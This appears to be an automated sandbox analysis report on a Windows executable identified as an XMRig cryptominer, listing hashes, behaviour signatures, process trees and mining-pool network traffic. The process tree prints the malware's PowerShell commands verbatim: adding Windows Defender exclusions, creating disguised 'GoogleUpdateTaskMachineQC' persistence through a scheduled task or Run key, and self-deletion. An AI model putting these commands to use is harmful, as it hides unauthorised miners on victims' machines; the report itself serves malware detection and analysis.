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Analysis

  • max time kernel
    283s
  • max time network
    886s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/02/2025, 16:33 UTC

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1160
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (26).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (26).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:276
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2964
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (26).exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2576
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2792
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1888
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1900
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2480
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1952
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1040
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:856
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:812
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {50AEC677-7860-4E0C-9D6F-F459827B0E6E} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1632

        Network

        • flag-us
          DNS
          pool.hashvault.pro
          conhost.exe
          Remote address:
          8.8.8.8:53
          Request
          pool.hashvault.pro
          IN A
          Response
          pool.hashvault.pro
          IN A
          80.240.16.67
          pool.hashvault.pro
          IN A
          192.248.189.11
        • flag-us
          DNS
          pool.hashvault.pro
          conhost.exe
          Remote address:
          8.8.8.8:53
          Request
          pool.hashvault.pro
          IN A
        • 192.248.189.11:3333
          pool.hashvault.pro
          tls
          conhost.exe
          5.8kB
          35.2kB
          74
          71
        • 8.8.8.8:53
          pool.hashvault.pro
          dns
          conhost.exe
          128 B
          96 B
          2
          1

          DNS Request

          pool.hashvault.pro

          DNS Request

          pool.hashvault.pro

          DNS Response

          80.240.16.67
          192.248.189.11

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          8bb02b769ece32bfdb05ba79091fb27d

          SHA1

          1740b8f8f45a305df5849f023d9dd39356835e22

          SHA256

          f35b1907bf87b0105c078df128d8f981c8a086054632f671eb0756bd9cca37a5

          SHA512

          085f5ebf832f61024c1b29f40dd88d176517f73e01031dc1bf02182ae3652f4ca411e2606ed15bc607c37248fdd6355713c2665ac653065b3c44d16884c0b345

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/812-75-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-79-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-101-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-99-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-97-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-95-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-93-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-91-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-89-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-55-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-85-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-83-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-81-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-57-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-41-0x00000000001B0000-0x00000000001D0000-memory.dmp

          Filesize

          128KB

        • memory/812-77-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-42-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-44-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-73-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-45-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-47-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-71-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-49-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-51-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-69-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-87-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-53-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-59-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-61-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-63-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-65-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/812-67-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1632-40-0x000000013F120000-0x000000013F331000-memory.dmp

          Filesize

          2.1MB

        • memory/1632-32-0x000000013F120000-0x000000013F331000-memory.dmp

          Filesize

          2.1MB

        • memory/2276-18-0x0000000002B80000-0x0000000002C00000-memory.dmp

          Filesize

          512KB

        • memory/2276-19-0x000000001B590000-0x000000001B872000-memory.dmp

          Filesize

          2.9MB

        • memory/2276-20-0x0000000001E40000-0x0000000001E48000-memory.dmp

          Filesize

          32KB

        • memory/2372-0-0x000000013F300000-0x000000013F511000-memory.dmp

          Filesize

          2.1MB

        • memory/2372-22-0x000000013F300000-0x000000013F511000-memory.dmp

          Filesize

          2.1MB

        • memory/2480-43-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/2480-48-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/3008-7-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3008-8-0x0000000001E30000-0x0000000001E38000-memory.dmp

          Filesize

          32KB

        • memory/3008-5-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

          Filesize

          4KB

        • memory/3008-6-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

          Filesize

          2.9MB

        • memory/3008-9-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3008-12-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3008-11-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

          Filesize

          9.6MB

        • memory/3008-10-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

          Filesize

          9.6MB

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